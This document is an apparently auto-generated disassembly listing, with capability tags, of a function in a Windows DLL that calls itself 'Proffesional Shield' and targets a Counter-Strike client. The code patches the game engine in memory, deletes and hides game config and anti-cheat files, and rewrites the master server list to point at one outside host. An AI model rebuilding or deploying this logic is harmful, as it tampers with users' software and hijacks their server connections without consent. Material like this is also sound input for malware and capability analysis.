Function at 0x10004a17
Capabilities:
Create thread
Delete file
Move file
Set file attributes

Disassembly:
push 0x360
mov eax, 0x10026469
call fcn.1000777d
sub dword [ebp + 0xc], 1
mov ebx, dword [ebp + 8]
mov dword [ebp - 0xa4], ebx
je 0x10004a3c
xor eax, eax
jmp 0x10005105
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x10005102
push ebx
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push str.hw.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov dword [ebp - 0x8c], edi
test edi, edi
jne 0x10004a7e
push str.sw.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, eax
mov dword [ebp - 0x8c], eax
mov ebx, dword [edi + 0x3c]
add ebx, edi
mov dword [ebp - 0x88], ebx
mov esi, dword [ebx + 0x30]
xor ebx, ebx
add esi, edi
xor edi, edi
xor eax, eax
mov dword [ebp - 0x7c], eax
test edi, edi
je 0x10004be3
test ebx, ebx
je 0x10004bfa
test eax, eax
je 0x10004c14
push 0x104
push 8
mov dword [ebp - 0x98], edi
mov dword [ebp - 0x94], ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x100
mov dword [0x1003929c], eax
call fcn.100073ad
mov ebx, dword [ebp - 0x88]
mov esi, eax
mov edi, dword [ebp - 0x8c]
xor eax, eax
and dword [ebp - 0x90], eax
pop ecx
mov ecx, dword [ebx + 0xa0]
xor ebx, ebx
add ecx, edi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x80], ebx
mov edx, dword [ecx + 4]
test edx, edx
je 0x10004bde
mov ebx, dword [ebp - 0x7c]
mov esi, dword [ecx]
add edx, ecx
add esi, edi
mov dword [ebp - 0x88], edx
add ecx, 8
mov dword [ebp - 0x9c], esi
mov esi, dword [ebp - 0x94]
cmp ecx, edx
jae 0x10004bb5
mov edx, dword [ebp - 0x84]
movzx eax, word [ecx]
mov dword [ebp - 0x84], 0x1000
cmp ax, word [ebp - 0x84]
jb 0x10004b96
mov edi, dword [ebp - 0x80]
and eax, 0xfff
add eax, dword [ebp - 0x9c]
test edx, edx
jne 0x10004b78
mov ebx, dword [ebp - 0x98]
cmp dword [eax], ebx
mov ebx, dword [ebp - 0x7c]
jne 0x10004b78
mov edx, eax
cmp dword [ebp - 0x90], 0
jne 0x10004b8b
cmp dword [eax], esi
jne 0x10004b8b
mov dword [ebp - 0x90], eax
test edi, edi
jne 0x10004b96
cmp dword [eax], ebx
jne 0x10004b96
mov dword [ebp - 0x80], eax
add ecx, 2
cmp ecx, dword [ebp - 0x88]
jb 0x10004b41
mov edi, dword [ebp - 0x8c]
mov eax, edx
mov dword [ebp - 0x84], edx
mov edx, dword [ebp - 0x88]
test eax, eax
je 0x10004bc8
cmp dword [ebp - 0x90], 0
je 0x10004bc8
cmp dword [ebp - 0x80], 0
jne 0x10004bd5
mov ecx, edx
mov edx, dword [ecx + 4]
test edx, edx
jne 0x10004b1c
mov ebx, dword [ebp - 0x80]
mov esi, dword [ebp - 0xa0]
lea ecx, [eax + 4]
jmp 0x10004c36
push str.models_
push esi
call fcn.1000e6e0
pop ecx
pop ecx
test eax, eax
jne 0x10004bf6
mov edi, esi
test ebx, ebx
jne 0x10004c0d
push str.end___CL_ParseResourceList__
push esi
call fcn.1000e6e0
pop ecx
pop ecx
test eax, eax
jne 0x10004c0d
mov ebx, esi
mov eax, dword [ebp - 0x7c]
test eax, eax
jne 0x10004c2f
push str.Consistency:__server_sent_too_many_filenames_n
push esi
call fcn.1000e6e0
pop ecx
pop ecx
test eax, eax
jne 0x10004c2c
mov eax, esi
mov dword [ebp - 0x7c], eax
jmp 0x10004c2f
mov eax, dword [ebp - 0x7c]
inc esi
jmp 0x10004a97
inc ecx
cmp byte [ecx], 0xe8
jne 0x10004c35
mov eax, dword [ecx + 1]
add ecx, 5
add eax, ecx
lea ecx, [ebx - 5]
sub eax, ecx
sub eax, 5
cmp byte [ecx], 0xe8
jne 0x10004c55
cmp dword [ecx + 1], eax
je 0x10004c59
dec ecx
inc eax
jmp 0x10004c4b
mov edi, str.trackerui_backup.dll
push edi
push str.bin_trackerUI.dll
call fcn.1000e76c
push edi
call fcn.1000dcab
add esp, 0xc
mov edi, 0x80
push edi
push str.configMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.config_rev_MasterServers.vdf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.platformconfigMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov ebx, str.platformconfig_rev_MasterServers.vdf
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.configMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.config_rev_MasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.platformconfigMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 2
push str.HShield.dll
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 2
push str.HShield.sms
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikeconfig.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrike_valve.rc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikeuserconfig.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikejoystick.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikelistip.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikeliblist.gam
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikelistenserver.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikedefault.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrike_banner.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrike_banned.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrike_autoexec.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrike_autoconfig.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikehwopengl.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.cstrikehwd3d.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valveuserconfig.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valvejoystick.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valveconfig.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valvelistip.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valveliblist.gam
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valvelistenserver.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valvedefault.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valve_banner.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
push str.valve_banned.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov ebx, str.valve_autoexec.cfg
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push edi
mov edi, str.valve_autoconfig.cfg
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push str.valvehwopengl.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push str.valvehwd3d.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push str.valvehwgeforce.cfg
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.cstrikejoystick.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrikelistip.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrikelistenserver.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrikedefault.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrike_banner.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrike_banned.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrike_autoexec.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.cstrike_autoconfig.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valveuserconfig.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valvejoystick.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valveconfig.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valvelistip.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valveliblist.gam
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valvelistenserver.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valvedefault.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valve_banner.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.valve_banned.cfg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea ecx, [ebp - 0x36c]
push str.configMasterServers.vdf
call fcn.10005150
and dword [ebp - 4], 0
lea ecx, [ebp - 0x2bc]
sub esp, 0xc
push str.config_rev_MasterServers.vdf
call fcn.10005150
sub esp, 0xc
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x20c]
push str.platformconfigMasterServers.vdf
call fcn.10005150
sub esp, 0xc
mov byte [ebp - 4], 2
mov ebx, str.platformconfig_rev_MasterServers.vdf
lea ecx, [ebp - 0x15c]
push ebx
call fcn.10005150
mov edi, str._MasterServers__n_n_hl1__n_n_0__n_n_addr__ms.csdownload16.ro:27010__n_n_1__n_n_addr__ms.csdownload16.ro:27010__n_n_2__n_n_addr__ms.csdownload16.ro:27010__n_n_n
mov byte [ebp - 4], 3
mov edx, edi
lea ecx, [ebp - 0x36c]
call fcn.100052f0
mov edx, edi
lea ecx, [ebp - 0x2bc]
call fcn.100052f0
mov edx, edi
lea ecx, [ebp - 0x20c]
call fcn.100052f0
mov edx, edi
lea ecx, [ebp - 0x15c]
call fcn.100052f0
push str.configMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.config_rev_MasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.platformconfigMasterServers.vdf
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xac]
push eax
call fcn.1000cf93
lea eax, [ebp - 0xac]
push eax
call fcn.1000d262
push eax
push str._d__m__Y__I:_M:_S
lea eax, [ebp - 0x60]
push 0x50
push eax
call fcn.1000c5c1
add esp, 0x18
lea eax, [ebp - 0x60]
lea ecx, [ebp - 0x78]
push eax
call fcn.100037b7
push 0x104
mov byte [ebp - 4], 4
push dword [0x1003929c]
push dword [ebp - 0xa4]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push dword [0x1003929c]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [0x1003929c]
add eax, ecx
jmp 0x1000503e
cmp byte [eax], 0x5c
je 0x10005042
dec eax
cmp eax, ecx
jae 0x10005038
push ecx
xor ebx, ebx
push esi
mov byte [eax + 1], bl
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.SVC_BlockCommand.ini
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ecx
push 0xa
push esi
mov ecx, 0x100379c4
call fcn.10003bcc
test eax, eax
mov eax, dword [0x100379c0]
mov ecx, dword [eax + 4]
je 0x1000508a
add ecx, 0x100379c0
mov eax, dword [ecx + 0x38]
neg eax
sbb eax, eax
and eax, 0xfffffffc
add eax, 4
jmp 0x100050a2
add ecx, 0x100379c0
xor eax, eax
cmp dword [ecx + 0x38], ebx
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push ebx
push eax
call fcn.10001a4b
lea eax, [ebp - 0x60]
push eax
push str._n_Proffesional_Shield__:_It_started_functioning_at__s
call fcn.1000443f
pop ecx
pop ecx
push ebx
push ebx
push ebx
push 0x10004530
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.1000492d
lea ecx, [ebp - 0x78]
call fcn.10003cca
lea ecx, [ebp - 0x15c]
call fcn.100043ee
lea ecx, [ebp - 0x20c]
call fcn.100043ee
lea ecx, [ebp - 0x2bc]
call fcn.100043ee
lea ecx, [ebp - 0x36c]
call fcn.100043ee
xor eax, eax
inc eax
call fcn.10007738
ret 0xc